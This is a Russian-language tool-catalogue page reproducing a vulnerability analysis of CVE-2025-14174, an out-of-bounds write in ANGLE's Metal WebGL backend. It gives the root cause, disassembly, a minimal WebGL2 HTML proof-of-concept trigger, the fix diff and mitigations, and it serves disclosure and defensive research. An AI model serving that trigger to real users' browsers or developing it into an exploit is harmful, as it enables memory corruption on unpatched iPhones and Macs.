Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/typeconfused/cve-2025-14174-analysis
Безопасность iOSАнализ уязвимостейЭксплуатацияВеб-безопасностьМобильная безопасностьАппаратная БезопасностьАнализ Бинарных Файлов
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Анализ и PoC для CVE-2025-14174 - ANGLE Metal OOB write (iOS Safari, macOS Chrome)

Репозиторий
168 месяцев назадЕщё не проверено
Поделиться

Анализ CVE-2025-14174: запись за пределами границ staging-буфера в ANGLE Metal

Технический анализ и proof-of-concept для CVE-2025-14174

CVECVE-2025-14174
СерьёзностьВысокая
Эксплуатация ITWДа — целевые атаки на iOS < 26
ЗатронутоiOS Safari, macOS Chrome/Chromium/Electron (не macOS Safari)
СтатусИсправлено в коммите ANGLE 95a32cb
АвторствоApple, Google Threat Analysis Group

Эксплуатация в реальных атаках

По данным Apple, CVE-2025-14174 использовалась в рамках «чрезвычайно сложной атаки на конкретных целевых лиц» на версиях iOS до iOS 26.

Цепочка атак включала:

  • CVE-2025-14174 (этот разбор) - OOB-запись в ANGLE Metal
  • CVE-2025-43529 (WebKit Bug 302502) - use-after-free в WebKit

Содержание

  • Краткое описание
  • Затронутые платформы
  • Воздействие
  • Корневая причина
  • Условия срабатывания
  • Технический анализ
  • Proof of Concept
  • Исправление
  • Примечания по обнаружению
  • Меры по снижению риска
  • Ссылки

Краткое описание

В Metal-бэкенде ANGLE существует уязвимость записи за пределами границ (OOB) при загрузке текстур глубины через staging-буфер. Размер staging-буфера вычисляется с использованием GL_UNPACK_IMAGE_HEIGHT вместо фактической высоты текстуры. Когда UNPACK_IMAGE_HEIGHT < height, ANGLE выделяет буфер недостаточного размера и затем записывает в него height строк, что приводит к повреждению памяти GPU в процессе рендерера.


Затронутые платформы

Эта уязвимость затрагивает приложения, использующие Metal-бэкенд ANGLE для WebGL:

ПлатформаПОЗатронутоПримечания
iOSSafariДаWebKit на iOS использует ANGLE Metal для WebGL
macOSChrome / ChromiumДаИспользует Metal-бэкенд ANGLE
macOSElectron-приложенияДаИспользует реализацию ANGLE из Chromium
macOSSafariНетИспользует нативный Metal WebGL из WebKit, а не ANGLE

Детали по платформам

iOS Safari подвержен уязвимости. На iOS WebKit использует ANGLE в качестве WebGL-бэкенда, поэтому Safari на iPhone и iPad уязвим.

macOS Safari НЕ подвержен. На macOS Safari использует собственную нативную WebGL-реализацию WebKit, которая взаимодействует напрямую с Metal, полностью минуя ANGLE.

macOS Chrome подвержен. Google Chrome на macOS 26.1 во время тестирования выглядел уязвимым, поскольку использует Metal-бэкенд ANGLE для WebGL.

Уязвимый путь выполнения кода находится в классе TextureMtl ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Воздействие

СерьёзностьОписание
ПодтвержденоЗапись в GPU/Metal-бэкенде за конец staging-буфера
ПодтвержденоВоспроизводится через WebGL2 + PBO + DEPTH_COMPONENT32F
ВероятноСбой GPU-процесса или потеря контекста при нехватке памяти
ТеоретическиПовреждение других ресурсов в памяти GPU (не продемонстрировано)

Ключевые особенности:

  • Ошибка незаметна в WebGL (обычно возвращается NO_ERROR)
  • В большинстве случаев нет видимых артефактов рендеринга
  • Слои валидации Metal могут не обнаружить переполнение
  • Возможна нестабильность GPU-процесса или эксплуатация в зависимости от раскладки кучи

Корневая причина

В пути загрузки текстуры глубины D32F ANGLE вычисляет pixelsDepthPitch из GL_UNPACK_IMAGE_HEIGHT и использует это значение для определения размера staging-буфера MTLBuffer. Однако последующий compute-dispatch (насыщение глубины) использует фактическую высоту текстуры для операции, что приводит к OOB-записи, когда параметры различаются.

Пример несоответствия размеров

Для width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:

ПараметрВычислениеЗначение
Шаг строкиwidth * sizeof(float)4 байта
Staging-буфер (выделено)rowPitch * UNPACK_IMAGE_HEIGHT512 байт
Compute-dispatch (записано)rowPitch * actualHeight2048 байт
OOB-запись2048 - 5121536 байт

Условия срабатывания

Должны выполняться все следующие условия:

  1. Контекст WebGL2 (требуется для поддержки PBO)
  2. Формат текстуры глубины DEPTH_COMPONENT32F (подтверждено; другие форматы глубины также могут быть затронуты, но не протестированы)
  3. Pixel Buffer Object (PBO), привязанный к PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT установлено в значение меньше фактической высоты текстуры
  5. Активен Metal-бэкенд ANGLE (iOS Safari или Chrome/Chromium/Electron на macOS)

Почему WebGL не блокирует это

Согласно спецификации GL, GL_UNPACK_IMAGE_HEIGHT влияет на загрузку 3D/массивных текстур, а не 2D-текстур. Для TEXTURE_2D:

  • Параметр принимается, но не участвует в валидации WebGL
  • WebGL не отклоняет UNPACK_IMAGE_HEIGHT < height для 2D-текстур
  • ANGLE ошибочно использует этот параметр для определения размера staging-буфера при загрузке глубины

Технический анализ

Уязвимая цепочка вызовов

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

Данные бинарного анализа (iOS 26.1)

ФункцияАдресРоль
setSubImageImpl0x272fa9028Вычисляет заниженный depthPitch
setPerSliceSubImage0x272fac240Выделяет заниженный staging-буфер
MakeBufferWithStorageMode0x272ef19bcСоздаёт MTLBuffer с неверным размером
SaturateDepth0x272facfa4Запускает compute с фактическими размерами
root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

Данные бинарного анализа (macOS 26.1)

ФункцияАдресРоль
setSubImageImpl0x22c6d10f4Вычисляет заниженный depthPitch
setPerSliceSubImage0x22c6d4398Выделяет заниженный staging-буфер
MakeBufferWithStorageMode0x22c619490Создаёт MTLBuffer с неверным размером
SaturateDepth0x22c6d5144Запускает compute с фактическими размерами
root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

Функция SaturateDepth затем запускает Metal compute-shader с фактическими размерами текстуры, записывая данные за пределы заниженного staging-буфера.


Proof of Concept

Минимальный триггер (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Ожидаемый результат на уязвимых системах: gl.getError() возвращает NO_ERROR, несмотря на OOB-запись, происходящую в GPU-процессе.


Исправление

Коммит ANGLE 95a32cb исправляет выделение staging-буфера, используя фактические размеры текстуры:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Кроме того, было исправлено вычисление srcBytesPerImage для операции blit:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Примечания по обнаружению

Эту уязвимость сложно обнаружить из JavaScript:

  • Staging-буферы — это внутренние ресурсы Metal в GPU-процессе
  • WebGL обычно возвращает NO_ERROR, даже когда ошибка срабатывает
  • Слои валидации Metal могут не пометить переполнение
  • В большинстве случаев нет видимых артефактов рендеринга
  • Требуется инструментирование вызовов Metal API или отладка памяти GPU

Меры по снижению риска

ПодходОписание
ОбновлениеУстановите обновления платформы, содержащие исправление ANGLE
Обходной путьИзбегайте установки UNPACK_IMAGE_HEIGHT меньше фактической высоты для текстур глубины
Эшелонированная защитаИспользуйте загрузку фиксированного размера, где UNPACK_IMAGE_HEIGHT == height

Ссылки

  • Исправление ANGLE: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Ошибка Chromium: https://issues.chromium.org/issues/466192044
  • Ошибка WebKit (CVE-2025-43529): https://webkit.org/b/302502
  • Затронутые платформы:
    • iOS: Safari (WebKit использует ANGLE Metal)
    • macOS: Chrome, Chromium, Electron (используют ANGLE Metal)

Благодарности

Обнаружение уязвимости: Apple, Google Threat Analysis Group

Технический анализ: Этот разбор документирует независимое исследование и реверс-инжиниринг уязвимости.


Анализ проведён в рамках исследовательского проекта SpiderWebKit по безопасности.

Скачать инструмент